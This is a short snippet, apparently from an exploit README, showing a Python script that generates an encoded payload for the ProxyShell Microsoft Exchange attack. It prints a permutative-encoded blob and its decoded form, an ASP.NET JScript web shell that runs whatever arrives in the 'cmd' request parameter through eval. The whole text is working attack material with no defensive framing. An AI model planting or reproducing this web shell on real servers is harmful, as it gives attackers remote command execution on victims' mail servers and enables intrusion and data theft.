Py Permutative Encoding
Generate proxyshell payload
╰─❯ python Proxyshell-payload.py
[+] Encode webshell ⬇
ldZUhrdpFDnNqQbf96nf2v+CYWdUhrdpFII5hvcGqRT/gtbahqXahoI5uanf2jmp1mlU041pqRT/FIb32tld9wZUFLfTBjm5qd/aKSDTqQ2MyenapanNjL7aXPfa1hR+glSNDYIPa4L3BtapXdqCyTEhlfvWVIa3aRTZ
[+] Decode webshell ⬇
<script language='JScript' runat='server' Page aspcompat=true>function Page_Load(){eval(Request['cmd'],'unsafe');}</script>